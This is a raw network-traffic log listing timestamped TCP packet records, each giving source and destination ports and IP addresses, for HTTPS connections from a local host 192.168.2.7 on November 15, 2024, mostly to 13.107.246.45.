Nov 15, 2024 13:18:19.705528021 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.705565929 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.705708027 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.705746889 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.706604958 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.706661940 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.706671953 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.706832886 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.706867933 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.751329899 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.753804922 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.753870010 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.753889084 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.795332909 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.795464039 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.795515060 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.795531988 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.839332104 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.839637995 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.887331009 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.913405895 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.913427114 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.913536072 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.913542032 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.914611101 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.914633989 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.914690971 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.914696932 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.914722919 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.914750099 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.927072048 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:20.001991034 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.002019882 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.002077103 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.002089024 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.002115965 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.002135038 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.125312090 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.125335932 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.125461102 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.125473976 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.125514984 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.173120022 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.173146963 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.173223972 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.173238039 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.173278093 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.245183945 CET	49671	443	192.168.2.7	204.79.197.203
Nov 15, 2024 13:18:20.296457052 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.296474934 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.296551943 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.296560049 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.296595097 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.419454098 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.419472933 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.419601917 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.419610977 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.419805050 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.495641947 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.495662928 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.496001959 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.496014118 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.496098042 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.584965944 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.584990978 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.585062027 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.585074902 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.585115910 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.667938948 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.667969942 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.668081999 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.668095112 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.668143034 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.668548107 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.668615103 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.668622017 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.668647051 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.668663025 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.668698072 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.668742895 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.668755054 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.668766022 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.668771982 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.709767103 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.709810019 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.709903002 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.711059093 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.711119890 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.711179018 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.711324930 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.711338997 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.712414980 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.712435961 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.712481976 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.712585926 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.712594986 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.713059902 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.713080883 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.713896036 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.713913918 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.713960886 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.714262962 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.714276075 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.715343952 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.715382099 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:20.715456009 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.715574026 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:20.715591908 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.436527014 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.437298059 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.437318087 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.438225985 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.438235998 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.444684029 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.445096016 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.445110083 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.445580959 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.445584059 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.448371887 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 13:18:21.450608015 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.452279091 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.452286959 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.452893972 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.452898979 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.461607933 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.462008953 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.462038994 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.462575912 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.462588072 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.487860918 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.510315895 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.510346889 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.511571884 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.511581898 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.564116001 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.564145088 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.564208031 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.564276934 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.564312935 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.565136909 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.565161943 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.565182924 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.565191031 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.568500996 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.568517923 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.568624973 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.568773985 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.568788052 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.574841976 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.574865103 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.574948072 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.574965000 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.575015068 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.575018883 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.575059891 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.575228930 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.575242043 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.575252056 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.575256109 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.578095913 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.578161955 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.578258038 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.578396082 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.578430891 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.583214998 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.583231926 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.583287954 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.583297968 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.583337069 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.583513975 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.583518982 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.583542109 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.583544970 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.585546970 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.585563898 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.585674047 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.585773945 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.585783005 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.594155073 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.594269991 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.594327927 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.594408989 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.594408989 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.594455004 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.594481945 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.596451998 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.596504927 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.596570969 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.596698046 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.596731901 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.643414021 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.643511057 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.643568993 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.643767118 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.643790960 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.643805027 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.643811941 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.646975994 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.647008896 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:21.647098064 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.647253036 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:21.647264004 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.309508085 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.316274881 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.320646048 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.331542969 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.331574917 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.332253933 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.332262993 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.332571983 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.332588911 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.333074093 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.333080053 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.333385944 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.333389997 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.333904982 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.333908081 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.365674973 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.366240025 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.366306067 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.366836071 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.366858006 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.378514051 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.381064892 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.381084919 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.381628990 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.381633997 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.456613064 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.456767082 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.456891060 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.459263086 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.459330082 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.459373951 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.460345984 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.460444927 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.460486889 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.492079020 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.492121935 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.492141962 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.492150068 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.493959904 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.493988991 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.494003057 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.494009972 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.502068043 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.502218008 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.502293110 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.510782003 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.510931969 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.511055946 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.550535917 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.550580978 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.550586939 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.550596952 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.637414932 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.637445927 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.637507915 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.637514114 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.684655905 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.684726000 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.684776068 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.684793949 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.693093061 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.693159103 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.696595907 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696599007 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696599960 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696608067 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696608067 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696621895 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.696631908 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696638107 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.696646929 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.696660042 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.696676016 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696702003 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696703911 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.696716070 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696732998 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696844101 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696851015 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.696919918 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.696932077 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.696997881 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.697012901 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:22.697066069 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:22.697087049 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.418101072 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.418797016 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.418828011 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.419210911 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.419217110 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.425323009 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.425707102 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.425744057 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.426244020 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.426250935 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.430208921 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.430567026 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.430583000 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.430938005 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.430943966 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.436497927 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.436810970 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.436820984 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.436973095 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.437206984 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.437268972 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.437335014 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.437340021 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.437582970 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.437594891 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.546283007 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.546377897 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.546446085 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.546614885 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.546631098 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.546663046 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.546668053 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.549762011 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.549823046 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.549905062 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.550050020 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.550062895 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.553575039 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.553658962 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.553740025 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.553829908 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.553829908 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.553877115 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.553911924 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.556401968 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.556442022 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.556513071 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.556781054 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.556791067 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.559299946 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.559478045 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:23.559547901 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:23.559591055 CET	49719	443	192.168.2.7	13.107.246.45
